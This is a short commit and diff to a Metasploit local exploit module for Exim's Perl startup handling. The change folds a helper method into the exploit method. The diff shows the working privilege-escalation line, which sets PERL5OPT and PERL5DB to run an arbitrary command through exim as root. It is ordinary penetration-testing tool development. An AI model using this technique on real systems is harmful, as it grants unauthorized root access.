Do something shady with the exploit method

Hat tip @acammack-r7.

modules/exploits/unix/local/exim_perl_startup.rb

@@ -44,18 +44,14 @@ class MetasploitModule < Msf::Exploit::Local
   end
 
   def check
-    if x('whoami') == 'root'
+    if exploit('whoami') == 'root'
       CheckCode::Vulnerable
     else
       CheckCode::Safe
     end
   end
 
-  def exploit
-    x(payload.encoded)
-  end
-
-  def x(c)
+  def exploit(c = payload.encoded)
     # PERL5DB technique from http://perldoc.perl.org/perlrun.html
     cmd_exec(%Q{PERL5OPT=-d PERL5DB='exec "#{c}"' exim -ps 2>&-})
   end